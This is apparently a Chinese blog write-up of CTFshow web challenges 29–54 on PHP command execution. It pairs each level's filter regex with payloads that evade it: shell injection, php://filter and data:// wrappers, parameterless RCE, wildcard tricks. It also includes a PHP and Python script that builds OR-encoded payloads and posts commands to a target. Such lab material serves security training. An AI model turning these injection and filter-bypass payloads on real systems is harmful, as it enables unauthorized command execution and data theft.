CTFshow_web入门_命令执行_web29~54

0x00 web29

if(!preg_match("/flag/i", $c)){
  • 只过滤flag【不区分大小写】
  • ?c=system('ls');
  • ?c=system('cat `ls`');
  • 预期解:echo `nl fl''ag.php`;

0x01 web30

if(!preg_match("/flag|system|php/i", $c)){
  • 过滤了文件名、一个系统命令执行函数、php【不区分大小写】
  • ?c=passthru('ls');
  • ?c=passthru("nl fl''ag.ph''p");
  • 预期解:echo `nl fl''ag.p''hp`;

0x02 web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
  • 过滤了文件名、system、php、cat、sort、shell、点号、空格、单引号【不区分大小写】

sort的过滤是因为usort()/uasort()? 似乎是因为用sort代替cat

  • ?c=passthru("ls");
  • ?c=passthru("nl%20`ls`");为什么失败?是因为后端URL解码后,还是空格,然后被过滤【实践后:✔】
  • ?c=passthru("nl%09`ls`");
  • 预期解:show_source(next(array_reverse(scandir(pos(localeconv())))));【无参数RCE】

0x03 web32

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、;、左括号【不区分大小写】
  • ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php

0x04 web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、双引号【不区分大小写】
  • ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php【闭合后在重新写个PHP,感觉有点多余】

0x05 web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号【不区分大小写】

这里过滤冒号,那么没过滤冒号时的payload是怎么样的

  • c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php【好家伙,和我的一模一样】

0x06 web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号【不区分大小写】
  • 额,好像没区别
  • c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

0x07 web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号、数字【不区分大小写】
  • c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php【好家伙,又和我的一模一样】

0x08 web37

  • 居然换了,这题在考文件包含??
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag; 
    }
  • ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
  • 预期解:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell

0x09 web38

if(!preg_match("/flag|php|file/i", $c)){

?过滤了file,之前是怎么用file读取的?

  • ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
  • 预期解:nginx的日志文件/var/log/nginx/access.log data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell

0x0A web39

if(!preg_match("/flag/i", $c)){
        include($c.".php");
  • 还是利用data
  • ?c=data:text/plain,<?php system('cat f*')?>
  • $flag="flag{db13407e-87cf-4664-9938-25af2a20419b}";.php后面显示.php,是因为 <?php ?>.php 因为前面的php语句已经闭合了,.php会被当成html页面直接显示在页面上

0x0B web40

    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
  • 不会,居然过滤的是中文括号???
  • 无参数RCE【顺便复习下】
  • payload:

  • ?c=print_r(scandir(pos(localeconv())));读目录
    ?c=echo(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));随机读取出文件【多发送几次即可】

  • ?c=eval(end(current(get_defined_vars())));&b=highlight_file('flag.php');

  • ?c=eval((next(array_reverse(getallheaders()))));
User-Agent: highlight_file('flag.php');
Content-Length: 2
Content-Type:

22

  • show_source(next(array_reverse(scandir(pos(localeconv())))));


  • ?c=eval(array_rand(array_flip(getallheaders())));

  • hint中用了Session,但hex2bin被过滤,没找到其他方式读取flag.php

  • 预期解:show_source(next(array_reverse(scandir(pos(localeconv())))));

0x0C web41

参考文章

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
  • 过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】
  • & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异|没有过滤,过滤的字符是防异或、自增和取反构造字符
  • 参考博客中的脚本:
    生成可用字符的集合:
    思路是从所有字符(ASCII[0-255])中排除掉被过滤的,然后在判断或运算得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);#dechex() 函数把十进制转换为十六进制。
		}#dechex([0-15])的值为一个字符,加上0,变0[0-f];256=16*16;刚好ff=255
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}#以上为获取2组范围为[00-ff]的16进制数
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";#剔除符合正则表达式的字符
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) { //ASCII[32-126]应该是可见字符
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);#写入文件
fclose($myfile);
?>
# -*- coding: utf-8 -*-
import requests
import urllib
import sys
import os
#os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(sys.argv)!=2):#sys.argv[0]为程序本身,之后的值才是参数;sys.argv是个列表
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=sys.argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   print(output)
   return(output)
'''
#函数的作用:读取输入的值【input()】,从rce_or.txt中依次寻找出对应的值,并将位运算的前值赋予s1、s2
s1、s2用括号包裹起来,为的是动态执行函数【故PHP>7】
'''
while True:#Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)#将param进行URL解码
   }
   print(data)
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
  • 分析学习了一波脚本,这位师傅yyds
  • 按脚本的意思执行即可,我是用system和ls;system和cat flag.php来获取flag

0x0D web42

$c=$_GET['c'];
system($c." >/dev/null 2>&1");
  • >/dev/null 2>&1的意思是将命令的输出丢弃,错误输出也丢弃;详细介绍见参考文章
  • 那么为了有输出,应该截断后面
  • payload:?c=cat flag; 也可以用%0a【换行符URL】%26【&URL】%26%26||
  • sed -n '1,75p' flag.php||
  • ?c=tail -n +15 flag.php|| or head -n +15 flag.php|| or…
  • cut -c- flag.php||
  • more flag.php|| or less flag.php||
  • strings flag.php||
  • od -bc flag.php||
  • awk '{print $1,$15}' flag.php||
  • %0d 回车符失败,不知道为什么

0x0E web43

if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
  • 上一题中随便挑一个即可
  • payload:?c=tac flag.php%26
  • 预期解:nl flag.php%0a

0x0F web44

if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
  • payload:c\at fla\g.php%26
  • 预期解:nl fla*.php%0a

0x10 web45

if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
  • payload:c\at${IFS}fla\g.php%26

在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS

  • 预期解:echo$IFS`tac$IFS*`%0A

0x11 web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$ 、*【不区分大小写】
  • 搞错了\\$匹配的是以\结束
  • 一番实验后发现PHP中\\$匹配的是$,有点神奇,没查到相关资料,
  • payload:?c=tac<fla\g.php%26
  • 预期解:nl<fla''g.php||

0x12 web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail【不区分大小写】
  • 笔记中居然没有sort【用于将文本文件内容加以排序】,长见识了
  • payload:?c=sor\t<fla\g.php%26
  • 预期解:nl<fla''g.php||

0x13 web48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`【不区分大小写】
  • payload:?c=sor\t<fla\g.php%26

看了半天,不知道curl怎么用来读取文件?

  • 预期解:nl<fla''g.php||

0x14 web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、 %【不区分大小写】
  • payload:?c=tac<fla\g.php||
  • 预期解:nl<fla''g.php||

0x15 web50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】
  • payload:?c=tac<fla\g.php||
  • 预期解:nl<fla''g.php||

0x16 web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】
  • payload:?c=ta\c<fla\g.php||
  • 预期解:nl<fla''g.php||

0x17 web52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$ 、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】
  • ?c={nl,fla\g.php}|| 为什么不行??
  • 后来发现$居然被取消过滤??
  • payload:?c=ta\c${IFS}/fla\g||
  • 预期解:nl$IFS/fla''g||

0x18 web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }

curl和wegt不知道如何读取文件??

  • 过滤 ;、cat、flag、空格、数字、$ 、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】
  • payload:?c=ta\c${IFS}fla\g.php
  • 预期解:c''at${IFS}fla''g.p''hp

0x19 web54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
  • 过滤 ;、cat、flag、空格、数字、$ 、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】【点号匹配除换行符外的字符】
  • echo${IFS}${SHELLOPTS} 为什么无回显?
  • payload:/bin/?at${IFS}f???.php
  • 预期解:/bin/?at${IFS}f???????
  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值